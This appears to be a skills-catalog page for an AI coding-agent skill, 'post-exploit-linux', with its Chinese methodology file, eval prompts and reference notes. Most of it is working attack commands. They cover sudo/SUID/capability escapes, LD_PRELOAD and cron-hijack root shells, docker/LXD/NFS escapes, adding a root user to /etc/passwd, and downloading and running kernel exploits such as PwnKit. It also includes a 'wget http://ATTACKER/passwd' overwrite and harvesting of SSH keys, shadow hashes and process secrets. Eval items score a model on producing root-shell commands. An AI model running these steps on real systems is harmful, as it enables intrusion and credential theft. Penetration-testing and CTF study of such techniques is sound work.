
Post Exploit Linux
- 31 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
post-exploit-linux is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- post-exploit-linux
- AI & Agent Building
- AI-coding skill
Post Exploit Linux by the numbers
- 31 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,164 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill post-exploit-linuxAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 31 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Linux 后渗透 & 提权方法论
获取 shell 后的完整行动路线:信息收集 → 提权 → 凭据收集 → 敏感数据 → 横向准备。
⛔ 深入参考
内容按需加载——SKILL.md 给你决策树和快速命令,references 给你完整 payload:
- sudo/SUID/Capabilities/Cron 劫持的全部利用命令、GTFOBins 速查、环境变量劫持、sudo CVE → references/privesc-techniques.md
- Docker/LXD 组提权、NFS、内核漏洞(PwnKit/DirtyPipe/DirtyCow)、snap-confine 提权(CVE-2026-3888)、可写文件、进程凭据 → references/advanced-privesc.md
- 凭据收集完整路径(配置文件/历史记录/SSH 密钥/数据库/进程内存) → references/credential-harvest.md
---
Phase 0: 30 秒快速提权判断
刚拿到 shell 时跑这几条命令,快速判断有没有"秒提"的机会:
id && sudo -l 2>/dev/null # 身份 + sudo 权限(80% 的提权从这里开始)
find / -perm -4000 -type f 2>/dev/null | head -20 # SUID 文件
getcap -r / 2>/dev/null # Capabilities
ls -la /etc/passwd /etc/shadow 2>/dev/null # 文件权限秒提信号:
sudo -l有NOPASSWD条目 → 大概率能提(查 GTFOBins)- 非标准 SUID 文件(不是 ping/su/sudo/mount 那些) → 很可能可利用
/etc/passwd可写 → 直接添加 root 用户
如果这里没有明显突破口,继续 Phase 1 做完整信息收集。
Phase 1: 系统信息收集
# 身份与权限
id && whoami
uname -a && cat /etc/os-release # 内核版本 + 发行版(匹配内核漏洞用)
# 网络
ip addr && ip route && ss -tlnp # 接口、路由、监听端口
cat /etc/resolv.conf && arp -a && cat /etc/hosts
# 进程与环境
ps aux # 看有没有 root 运行的有趣进程
env | grep -iE 'pass|key|secret|token' # 环境变量泄露关键判断:
- 多网卡 = 可能是跳板(双网段 pivot)
- DNS 指向内网 IP = 域环境
- ARP 表大 = 活跃网段,值得扫描
- root 进程的命令行可能暴露密码/路径
Phase 2: 提权决策树(按成功率排序)
当前权限?
├─ 已是 root → 跳到 Phase 3 凭据收集
└─ 非 root → 按顺序检查:
│
├─ 1. sudo -l
│ ├─ (ALL) NOPASSWD: ALL → sudo su(直接 root)
│ ├─ 特定命令 → GTFOBins 查提权方法
│ ├─ env_keep+=LD_PRELOAD → 共享库注入提权
│ └─ 无 sudo → 下一步
│
├─ 2. SUID 文件
│ find / -perm -4000 -type f 2>/dev/null
│ ├─ 非标准 SUID → GTFOBins / strings 分析 / PATH 劫持
│ └─ pkexec → PwnKit (CVE-2021-4034)
│
├─ 3. Capabilities
│ getcap -r / 2>/dev/null
│ └─ cap_setuid → python3/perl 提权
│ └─ cap_dac_read_search → 读 /etc/shadow
│
├─ 4. Cron 任务
│ cat /etc/crontab && ls -la /etc/cron.d/
│ ├─ root cron 执行可写脚本 → 替换脚本内容
│ ├─ cron PATH 有你可写的目录 → 同名脚本劫持
│ └─ cron 使用通配符(tar *)→ 参数注入
│
├─ 5. 可写文件/目录
│ ├─ /etc/passwd 可写 → 添加 root 用户
│ ├─ /etc/shadow 可读 → john/hashcat 破解
│ ├─ systemd .service 可写 → 改 ExecStart
│ └─ root 进程的库/配置可写 → 劫持
│
├─ 6. 特殊组
│ ├─ docker 组 → docker run -v /:/host alpine chroot /host bash
│ ├─ lxd/lxc 组 → 容器逃逸挂载宿主机
│ ├─ disk 组 → debugfs 读任意文件
│ └─ adm 组 → 读日志找凭据
│
├─ 7. NFS
│ cat /etc/exports → no_root_squash → 远程写 SUID 文件
│
└─ 8. 内核漏洞(最后手段,有崩溃风险)
uname -r → 匹配 CVE
PwnKit(所有pkexec) | DirtyPipe(5.8-5.16) | DirtyCow(2.6-4.8) | OverlayFS(Ubuntu)
snap-confine+tmpfiles(Ubuntu>=24.04, CVE-2026-3888, 需等10-30天)→ 各步骤的完整利用命令 → references/privesc-techniques.md + references/advanced-privesc.md
sudo 提权 Top 10 速查
| 命令 | 提权方法 |
|---|---|
| vim/vi | :!/bin/bash |
| find | find / -exec /bin/bash \; |
| python3 | import os; os.system("/bin/bash") |
| awk | awk 'BEGIN {system("/bin/bash")}' |
| env | env /bin/bash |
| less/more | !/bin/bash |
| tar | --checkpoint-action=exec=/bin/bash |
| nmap | --interactive → !sh(旧版)/ --script |
| bash/sh | 直接 sudo bash |
| systemctl/journalctl | 进入 pager → !/bin/bash |
完整列表查 GTFOBins
自动化枚举
手动检查完没发现明显路径时,上自动化工具扫一遍——它们会检查更多边缘情况:
# LinPEAS(最全面,推荐)
curl -fsSL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./linenum.sh -t
# linux-exploit-suggester(内核漏洞匹配)
./linux-exploit-suggester.sh投递工具到目标的方法 → 加载 tool-delivery 技能
Phase 3: 凭据收集
提权成功后(或即使没提权),尽可能收集凭据——这些凭据在横向移动中价值极大:
# Web 应用配置(数据库密码、API Key)
cat /var/www/html/config.php /var/www/html/.env /var/www/html/wp-config.php 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
# 历史记录(人类经常在命令行敲密码)
cat ~/.bash_history ~/.mysql_history ~/.python_history 2>/dev/null | grep -iE 'pass|secret|key'
# SSH 密钥(横向移动的金钥匙)
cat ~/.ssh/id_rsa 2>/dev/null
ls -la /home/*/.ssh/
# 数据库凭据
cat /etc/mysql/debian.cnf 2>/dev/null
# 进程/环境中的凭据
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret|token'
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE 'pass|pwd'→ 更多凭据位置 → references/credential-harvest.md
Phase 4: 敏感数据搜索
# Flag(CTF/靶场)
find / -name "flag*" -o -name "proof*" 2>/dev/null
cat /root/flag.txt /home/*/flag.txt 2>/dev/null
# 备份/数据库/密钥文件
find / \( -name "*.bak" -o -name "*.sql" -o -name "*.key" -o -name "*.pem" \) 2>/dev/nullPhase 5: 横向移动准备
ip route && arp -a && cat /etc/hosts # 发现其他网段和主机
cat ~/.ssh/known_hosts 2>/dev/null # SSH 连接过哪些机器收集到的凭据 + 发现的网段 → 加载 internal-recon 技能做内网扫描 → 加载 lateral-movement 技能做横向移动
{
"skill_name": "post-exploit-linux",
"evals": [
{
"id": 1,
"name": "linux-sudo-gtfobins-privesc",
"prompt": "你拿到 www-data shell,执行 sudo -l 输出:(root) NOPASSWD: /usr/bin/vim。请给出具体的提权命令。如果 sudo -l 显示的是 /usr/bin/find 呢?",
"expected_output": "vim: sudo vim → :!/bin/bash 获取root shell。find: sudo find / -exec /bin/bash \\; 获取root shell。这些都是 GTFOBins 收录的已知提权方法",
"expectations": [
"sudo vim|:!bash|:!/bin/bash|:!/bin/sh",
"sudo find|find / -exec|/bin/bash|执行命令",
"GTFOBins|已知利用|提权数据库",
"root shell|root权限|提权成功",
"NOPASSWD|免密|不需要密码"
],
"required_terms": [
":!/bin/bash",
"find / -exec",
"/bin/bash"
]
},
{
"id": 2,
"name": "linux-privesc-success-rate-ordering",
"prompt": "你拿到 Linux 低权限 shell,时间有限只能按顺序检查 3 个提权向量。按成功率从高到低你应该优先检查哪些?请给出对应的检查命令。",
"expected_output": "1. sudo -l (成功率最高,80%有NOPASSWD就能提权) 2. SUID文件 (find / -perm -4000) 3. Capabilities (getcap -r /)",
"expectations": [
"sudo -l|第一个|优先|成功率最高",
"SUID|find / -perm -4000|第二个",
"capabilities|getcap|cap_setuid",
"按顺序|优先级|成功率排序",
"80%|NOPASSWD|概率高"
],
"required_terms": [
"find / -perm -4000",
"cap_setuid",
"SUID"
]
},
{
"id": 3,
"name": "linux-docker-group-privesc",
"prompt": "执行 id 命令发现当前用户在 docker 组:uid=1000(webuser) gid=1000(webuser) groups=1000(webuser),999(docker)。你如何利用 docker 组权限提权到 root?",
"expected_output": "docker run -v /:/mnt --rm -it alpine chroot /mnt bash —— 挂载宿主机根目录到容器,获得宿主机root权限",
"expectations": [
"docker run|docker组|容器|提权",
"-v /:/mnt|挂载|宿主机|根目录",
"alpine|镜像|容器内|chroot",
"root权限|宿主机root|完全控制",
"/etc/shadow|修改文件|写入ssh密钥"
],
"required_terms": [
"/etc/shadow",
"docker组",
"alpine"
]
}
]
}
{
"skill_id": "post-exploit-linux",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"post exploit linux",
"linux 后渗透",
"linux提权"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"suid",
"sudo",
"cron",
"凭据"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被windows后渗透召回",
"keywords": [
"mimikatz",
"sam",
"lsass"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "post-exploit-linux-scenario",
"scenario": "已获取 Linux 低权限 shell,发现 SUID 的 vim 和 docker 组。请搜索 Linux 后渗透方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "linux|post-exploit|后渗透|提权|suid"
},
{
"tool": "read_skill",
"id": "post-exploit-linux"
}
]
}
]
}
Linux 高级提权 — 内核/Docker/NFS/可写文件
1. Docker 组提权
# 确认在 docker 组
id | grep docker
# 方法 1: 挂载宿主机根目录
docker run -v /:/hostroot -it alpine chroot /hostroot bash
# 方法 2: 挂载后获取 flag
docker run -v /root:/mnt --rm alpine cat /mnt/flag.txt
# 方法 3: 没有 alpine 镜像时,用任意已有镜像
docker images
docker run -v /:/hostroot -it EXISTING_IMAGE chroot /hostroot bash
# 方法 4: 写 SSH 密钥
docker run -v /root/.ssh:/mnt --rm alpine sh -c 'echo "ssh-rsa AAAA..." >> /mnt/authorized_keys'2. LXD/LXC 组提权
# 确认在 lxd 组
id | grep lxd
# 下载 Alpine 镜像(攻击机上构建)
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo bash build-alpine
# 上传到目标后
lxc image import alpine-v3.x-x86_64.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
# 宿主机根目录在 /mnt/root/
cat /mnt/root/root/flag.txt3. NFS no_root_squash
# 目标上检查
cat /etc/exports
# 如果有 no_root_squash → 远程挂载后 root 权限保持
# 攻击机上(以 root)
showmount -e TARGET_IP
mkdir /tmp/nfs && mount -t nfs TARGET_IP:/SHARE /tmp/nfs
# 写 SUID bash
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash
# 回到目标
/SHARE/rootbash -p # root shell4. 可写 /etc/passwd
# 检查
ls -la /etc/passwd
# 如果可写 (-rw-rw-rw- 或你的组有写权限)
# 生成密码哈希
openssl passwd -1 -salt xyz password123
# 输出: $1$xyz$...
# 添加 root 权限用户
echo 'hacker:$1$xyz$HASH_HERE:0:0:root:/root:/bin/bash' >> /etc/passwd
# 切换到新用户
su hacker # 密码: password1235. 可读 /etc/shadow
# 检查
ls -la /etc/shadow
# 如果可读 → 复制到攻击机破解
cat /etc/shadow | grep ':\$'
# john 破解
unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# hashcat 破解
# SHA-512: hashcat -m 1800
# SHA-256: hashcat -m 7400
# MD5: hashcat -m 5006. 内核漏洞提权
⚠️ 内核漏洞有导致系统崩溃的风险,应在其他方法都失败后使用。
PwnKit (CVE-2021-4034) — 影响范围最广
# 影响几乎所有带 pkexec 的 Linux(2009-2022)
# 检查
ls -la /usr/bin/pkexec
pkexec --version
# 利用(多个 PoC 可用)
# https://github.com/ly4k/PwnKit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit && ./PwnKit
# 或纯 C 版本
gcc pwnkit.c -o pwnkit && ./pwnkitDirtyPipe (CVE-2022-0847) — 内核 5.8-5.16
uname -r # 确认内核 5.8 - 5.16.11
# 可以覆盖任意只读文件
# 典型利用: 覆盖 /etc/passwd 或 SUID 程序
# https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
gcc exploit-1.c -o exploit
./exploit # 修改 /etc/passwd 添加 root 用户DirtyCow (CVE-2016-5195) — 内核 2.6.22-4.8
uname -r # 确认内核 2.6.22 - 4.8.3
# 竞态条件覆盖只读文件
# 方法 1: 修改 /etc/passwd
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password123
# root 密码被改为 password123
# 方法 2: 覆盖 SUID
gcc -pthread cowroot.c -o cowroot
./cowrootOverlayFS (CVE-2021-3493) — Ubuntu 特有
# 内核 5.11 - 5.15(Ubuntu 20.04/21.04)
gcc exploit.c -o ovlcap
./ovlcap内核漏洞速查表
| CVE | 内核版本 | 名称 | 可靠性 |
|---|---|---|---|
| CVE-2021-4034 | 所有(pkexec) | PwnKit | ⭐⭐⭐ |
| CVE-2022-0847 | 5.8-5.16 | DirtyPipe | ⭐⭐⭐ |
| CVE-2016-5195 | 2.6.22-4.8 | DirtyCow | ⭐⭐ |
| CVE-2021-3493 | 5.11-5.15(Ubuntu) | OverlayFS | ⭐⭐ |
| CVE-2022-2588 | 5.x | DirtyCred | ⭐⭐ |
| CVE-2023-0386 | 5.11-6.2 | OverlayFS | ⭐⭐ |
7. 其他提权向量
可写的 systemd 服务文件
find / -writable -name "*.service" 2>/dev/null
# 修改 ExecStart 为恶意命令
systemctl daemon-reload && systemctl restart SERVICE可写的 /etc/ld.so.conf.d/
# 如果可写 → 添加自定义库路径 → 劫持 SUID 程序加载的库
echo "/tmp/evil" > /etc/ld.so.conf.d/evil.conf
# 编译恶意 .so 放到 /tmp/evil/
ldconfig # 刷新缓存Disk 组
id | grep disk
# disk 组可以直接读写磁盘设备
debugfs /dev/sda1
# 在 debugfs 中: cat /etc/shadow
# 或: cat /root/flag.txt进程中的凭据
# 环境变量中的密码
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret|token'
# 命令行参数中的密码
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE 'pass|pwd'
# 历史文件
cat ~/.bash_history ~/.mysql_history ~/.python_history 2>/dev/null | grep -iE 'pass|secret|key'
find / -name "*.history" -o -name ".bash_history" 2>/dev/null自动启动/定时任务中的凭据
# systemd timer
systemctl list-timers --all
# 检查 timer 对应的 service 执行的脚本内容8. Snap-confine + systemd-tmpfiles 提权 (CVE-2026-3888)
Ubuntu Desktop >= 24.04 默认安装的两个程序交互产生 LPE:
- systemd-tmpfiles 每天清理
/tmp中超过 10-30 天未访问的文件 - snap-confine(SUID-root 或 set-capabilities)在
/tmp/snap-private-tmp/下做高权限操作
当 systemd-tmpfiles 删除了 snap sandbox 内的 /tmp/.snap 目录后,攻击者可重建该目录并注入恶意内容,在 snap-confine 创建 "mimic" 挂载时赢得竞态条件,控制动态链接器获取 root。
检测条件
# 检查 systemd-tmpfiles 是否会清理 /tmp(Ubuntu >= 24.04 默认开启)
cat /usr/lib/tmpfiles.d/tmp.conf | grep -E "^[Dq] /tmp"
# D /tmp 1777 root root 30d → 30天清理(24.04)
# q /tmp 1777 root root 10d → 10天清理(25.10)
# 检查 snap-confine 是否 SUID 或有 capabilities
ls -la /usr/lib/snapd/snap-confine
getcap /usr/lib/snapd/snap-confine 2>/dev/null
# 检查已安装的 snap(firefox/snap-store 是默认目标)
snap list利用思路(需要耐心等待 10-30 天)
# 1. 进入 snap sandbox,cd 到 /tmp,保持 /tmp 活跃但不碰 /tmp/.snap
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 \
snap.firefox.hook.configure /bin/bash
cd /tmp
while test -d ./.snap; do touch ./; sleep 60; done
# 等待 systemd-tmpfiles 删除 .snap(10-30天后)
# 2. 从外部 shell 销毁旧 sandbox 但保留 /tmp
cd /proc/<sandbox_pid>/cwd
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd \
snap.firefox.hook.configure /nonexistent
# 3. 重建 .snap 目录并注入恶意 ld-linux-x86-64.so.2
# 利用 SNAPD_DEBUG=1 单步执行 snap-confine 赢得竞态
# 在 "mimic" 创建 /usr/lib/x86_64-linux-gnu 时替换绑定挂载源
# 4. 在 sandbox 内执行 SUID snap-confine 触发恶意动态链接器 → root shell
# 5. 将 /bin/bash 复制到 /var/snap/firefox/common/ 并 chmod 04755
# 从 sandbox 外执行 → 完全 root 权限关键信息
| 项目 | 详情 |
|---|---|
| CVE | CVE-2026-3888 |
| 影响范围 | Ubuntu Desktop >= 24.04(默认安装) |
| 等待时间 | 24.04: 30天, >= 25.04: 10天 |
| 利用难度 | 中(需要竞态条件 + 长时间等待) |
| 修复 | snapd 补丁(2026-03-17 发布) |
| 参考 | https://cdn2.qualys.com/advisory/2026/03/17/snap-confine-systemd-tmpfiles.txt |
Linux 凭据收集完整指南
1. Web 应用配置文件
# PHP 配置
cat /var/www/html/config.php
cat /var/www/html/.env
cat /var/www/html/wp-config.php
cat /var/www/html/configuration.php # Joomla
cat /var/www/html/settings.php # Drupal
# Python/Node
find /var/www -name "settings.py" -exec grep -l "PASSWORD" {} \;
find /opt -name ".env" -exec cat {} \;
find / -name "config.yml" -o -name "config.yaml" 2>/dev/null
# 通用搜索
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
grep -rli "password\|passwd\|db_pass" /var/www/ /opt/ /etc/ 2>/dev/null | head -202. 历史文件
人类经常在命令行中直接输入密码——bash history 是金矿:
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.python_history
find / -name "*.history" -o -name ".bash_history" 2>/dev/null
# 搜索密码模式
cat ~/.bash_history | grep -iE 'pass|pwd|mysql.*-p|ssh.*@|scp|curl.*-u'3. SSH 密钥
# 当前用户
cat ~/.ssh/id_rsa
cat ~/.ssh/id_ed25519
# 所有用户
ls -la /home/*/.ssh/
cat /home/*/.ssh/id_rsa 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null
# authorized_keys(了解谁能登录)
cat /home/*/.ssh/authorized_keys 2>/dev/null
# known_hosts(连接过哪些机器)
cat ~/.ssh/known_hosts4. 数据库凭据
# MySQL / MariaDB
cat /etc/mysql/debian.cnf # Debian/Ubuntu 自动维护密码
cat /etc/mysql/my.cnf
cat ~/.my.cnf # 用户级 MySQL 配置
# PostgreSQL
cat /var/lib/postgresql/*/main/pg_hba.conf
cat ~/.pgpass
# Redis(无密码 = 直接利用)
cat /etc/redis/redis.conf | grep requirepass5. 进程/环境中的凭据
运行中的进程可能在命令行参数或环境变量中暴露密码:
# 环境变量
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret|token|api'
# 命令行参数
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE 'pass|pwd|-p '
# ps 输出(有时能看到密码参数)
ps aux | grep -iE 'mysql|postgres|redis|mongo|ssh|ftp' | grep -v grep6. 其他凭据位置
# /etc/shadow(需要 root 或特殊权限)
cat /etc/shadow | grep ':\$'
# 自动挂载/网络共享
cat /etc/fstab | grep -i cifs
cat ~/.smbcredentials 2>/dev/null
# Crontab 中的凭据
cat /etc/crontab /var/spool/cron/crontabs/* 2>/dev/null | grep -i pass
# Docker 配置
cat ~/.docker/config.json 2>/dev/null # Docker Hub 凭据
cat /root/.docker/config.json 2>/dev/null
# Git 凭据
cat ~/.git-credentials 2>/dev/null
cat ~/.gitconfig 2>/dev/null
# GPG 密钥
ls ~/.gnupg/Linux 提权技术详解 — sudo/SUID/Capabilities/Cron
1. sudo 滥用
1.1 基础检查
sudo -l
# 关键输出:
# (ALL) NOPASSWD: ALL → 直接 sudo su
# (ALL) NOPASSWD: /usr/bin/vim → GTFOBins 提权
# (root) /usr/bin/python3 * → 通配符利用1.2 GTFOBins sudo 提权命令速查
# vim/vi
sudo vim -c '!bash'
# find
sudo find / -exec /bin/bash -p \; -quit
# python3/python
sudo python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
# perl
sudo perl -e 'exec "/bin/bash"'
# ruby
sudo ruby -e 'exec "/bin/bash"'
# awk
sudo awk 'BEGIN {system("/bin/bash")}'
# less/more
sudo less /etc/shadow # 然后输入 !/bin/bash
# man
sudo man man # 然后输入 !/bin/bash
# env
sudo env /bin/bash
# tar
sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
# zip
sudo zip /tmp/test.zip /tmp/test -T -TT 'sh #'
# nmap (老版本 2.02-5.21)
sudo nmap --interactive # 然后 !sh
# nmap 新版本
TF=$(mktemp) && echo 'os.execute("/bin/bash")' > $TF && sudo nmap --script=$TF
# cp (覆盖 /etc/passwd)
# 先生成密码: openssl passwd -1 -salt xyz password123
# 写入新 passwd
echo 'root2:HASH:0:0:root:/root:/bin/bash' >> /tmp/passwd
sudo cp /tmp/passwd /etc/passwd
# wget (覆盖文件)
sudo wget http://ATTACKER/passwd -O /etc/passwd
# apache2 / nginx
sudo apache2 -f /etc/shadow # 读取文件(通过错误信息泄露内容)
# systemctl
sudo systemctl # 进入 pager → !/bin/bash
# journalctl
sudo journalctl # 进入 pager → !/bin/bash(需要终端窄小才触发分页)
# ssh
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# git
sudo git -p help # 然后 !/bin/bash
# ftp
sudo ftp # 然后 !/bin/bash1.3 sudo 环境变量利用
# 如果 sudo 保留 LD_PRELOAD
# sudo -l 输出: env_keep+=LD_PRELOAD
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so ANY_ALLOWED_COMMAND
# 如果 sudo 保留 LD_LIBRARY_PATH
# 类似方法,替换目标程序依赖的 .so1.4 sudo CVE
# CVE-2019-14287 (sudo < 1.8.28)
# 当 sudo 规则为 (ALL, !root) 时绕过
sudo -u#-1 /bin/bash
# CVE-2021-3156 (Baron Samedit, sudo 1.8.2-1.8.31p2 / 1.9.0-1.9.5p1)
# 堆溢出提权
# 检测: sudoedit -s '\' $(python3 -c 'print("A"*1000)')2. SUID/SGID 文件利用
# 查找 SUID
find / -perm -4000 -type f 2>/dev/null
# 查找 SGID
find / -perm -2000 -type f 2>/dev/null
# 过滤标准系统文件,关注非标准的
find / -perm -4000 -type f 2>/dev/null | grep -v -E '/(ping|su|sudo|passwd|mount|umount|chfn|chsh|newgrp|gpasswd|pkexec|crontab|ssh-keysign|pam_timestamp_check|unix_chkpwd|at|fusermount)'常见 SUID 提权
# 自定义 SUID 二进制(查 GTFOBins)
# /usr/bin/base64 (SUID) → 读取任意文件
base64 /etc/shadow | base64 -d
# /usr/bin/php (SUID)
php -r "pcntl_exec('/bin/bash', ['-p']);"
# /usr/bin/python3 (SUID)
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
# 未知 SUID 二进制 → strings/ltrace/strace 分析
strings /usr/local/bin/mystery_suid
ltrace /usr/local/bin/mystery_suid
# 如果它调用了不带完整路径的命令(如 system("service ..."))→ PATH 劫持SUID + PATH 劫持
# 如果 SUID 程序调用 system("service apache2 restart")
# 没有使用绝对路径 → 劫持 PATH
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/mystery_suid # 执行的是 /tmp/service → root shell3. Capabilities 提权
getcap -r / 2>/dev/null危险 Capabilities
# cap_setuid → 直接提权
# python3 有 cap_setuid:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl 有 cap_setuid:
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"'
# cap_dac_read_search → 读取任意文件
# tar 有 cap_dac_read_search:
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
cat /tmp/etc/shadow
# cap_sys_admin → mount 文件系统
# cap_net_bind_service → 绑定低端口(辅助利用)
# cap_sys_ptrace → 注入进程4. Cron 任务劫持
# 检查 cron
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
crontab -l
# 检查其他用户的 cron(需要权限)
ls -la /var/spool/cron/crontabs/
# 关注: root 的 cron 执行了哪些脚本场景 1: cron 脚本可写
# /etc/crontab 内容: * * * * * root /opt/backup.sh
# 检查权限
ls -la /opt/backup.sh
# 如果可写:
echo '#!/bin/bash' > /opt/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/backup.sh
# 等待 cron 执行(最多 1 分钟)
/tmp/rootbash -p # root shell场景 2: cron PATH 劫持
# /etc/crontab 开头: PATH=/home/user:/usr/local/bin:/usr/bin
# cron 任务: * * * * * root backup
# 如果 /home/user 在 PATH 前面且你可以写入
echo '#!/bin/bash' > /home/user/backup
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup
chmod +x /home/user/backup场景 3: cron 通配符注入
# cron: * * * * * root cd /opt/data && tar czf /tmp/backup.tar.gz *
# tar 通配符注入
echo "" > "/opt/data/--checkpoint=1"
echo "" > "/opt/data/--checkpoint-action=exec=sh shell.sh"
echo '#!/bin/bash' > /opt/data/shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/data/shell.sh